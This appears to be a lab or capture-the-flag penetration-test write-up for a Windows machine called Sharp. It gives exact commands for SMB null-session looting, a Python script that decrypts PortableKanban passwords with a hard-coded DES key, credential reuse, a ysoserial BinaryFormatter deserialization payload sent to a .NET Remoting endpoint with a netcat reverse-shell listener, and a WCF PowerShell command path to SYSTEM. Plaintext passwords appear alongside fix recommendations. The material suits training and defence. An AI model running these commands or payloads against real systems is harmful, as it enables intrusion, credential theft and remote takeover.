Sharp
Summary
I leveraged an SMB null session to download a full PortableKanban task-manager installation from an unauthenticated network share, decompiled its support library to extract a hard-coded DES encryption key, and scripted decryption of all stored password fields to recover plaintext credentials for two accounts. The user lars proved valid over SMB, unlocking a second development share containing compiled .NET server and client binaries. Decompiling the client binary exposed hard-coded debug credentials and the address of a .NET Remoting endpoint on port 8888, which the server registered with TypeFilterLevel.Full -- a configuration that enables insecure BinaryFormatter deserialization and arbitrary remote code execution by any authenticated caller. A TypeConfuseDelegate gadget payload delivered through a custom NTLM-authenticated handshake client achieved remote code execution as lars and yielded the user flag. A Windows Communication Foundation service on port 8889, confirmed reachable and running as NT AUTHORITY\SYSTEM with an InvokePowerShell method in its public contract, was identified as the unexercised path to full system compromise; it was not exploited within this engagement window.
Attack path — how the box was taken
Exact commands 1
nmap -sV -sC -p- --min-rate 5000 -T4 -oA sharp_full $INTERNAL_TARGETExact commands 2
smbclient -N -L //$INTERNAL_TARGETsmbclient -N //$INTERNAL_TARGET/kanban -c 'recurse ON; prompt OFF; mget *'FixDisable SMB null-session access and remove anonymous share permissionsCritical
Exact commands 2
monodis PortableKanban.Data.dll > PortableKanban.Data.dll.il && grep -A 40 'Decrypt' PortableKanban.Data.dll.il | head -60python3 -c "
from Crypto.Cipher import DES
import base64, json
key=b'7ly6UznJ'; iv=b'XuVUm5fR'
data=json.load(open('PortableKanban.pk3'))
for u in data.get('Users',[]):
ct=base64.b64decode(u['EncryptedPassword'])
pt=DES.new(key,DES.MODE_CBC,iv).decrypt(ct)
print(u['Username']+':'+pt.decode(errors='replace').rstrip())
"FixReplace the hard-coded DES encryption key with a proper secrets management approachCritical
Exact commands 2
nxc smb $INTERNAL_TARGET -d Sharp -u Administrator lars -p 'G2@$btRSHJYTarg' '[REDACTED: recovered credential]' --no-bruteforcesmbclient '//$INTERNAL_TARGET/dev' -U 'Sharp/lars%[REDACTED: recovered credential]' -c 'recurse ON; prompt OFF; mget *'FixReplace the hard-coded DES encryption key with a proper secrets management approachCritical
Exact commands 2
monodis Client.exe > Client.exe.il && grep -iE 'debug|password|endpoint|SecretSharp|8888' Client.exe.ilmonodis Server.exe > Server.exe.il && grep -iE 'TypeFilterLevel|BinaryFormatter|TcpChannel' Server.exe.ilFixRemove hard-coded credentials from compiled binaries and restrict sensitive developer share accessHigh
Exact commands 4
rlwrap nc -lvnp 443mono ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegateMono -o raw -c 'cmd /c powershell -enc <BASE64_REVSHELL>' > payload.binpython3 send_sharp.py --target $INTERNAL_TARGET --port 8888 --endpoint SecretSharpDebugApplicationEndpoint --user debug --password 'SharpApplicationDebugUserPassword123!' --payload payload.binwhoami && hostname && type C:\Users\lars\Desktop\user.txtFixDecommission the .NET Remoting BinaryFormatter endpointCritical
Exact commands 3
smbclient '//$INTERNAL_TARGET/dev' -U 'Sharp/lars%[REDACTED: recovered credential]' -c 'get notes.txt'runas /netonly /user:sharp\lars powershellWcfClient.exe net.tcp://$INTERNAL_TARGET:8889/wcf/NewSecretWcfEndpoint lars '[REDACTED: recovered credential]' 'powershell -enc <BASE64_REVSHELL>'FixRun the WCF service as a least-privilege account and remove the InvokePowerShell method from its public contractCritical
Exposed services
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds? |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 8888/tcp | storagecraft-image StorageCraft Image Manager |
| 8889/tcp | mc-nmf .NET Message Framing |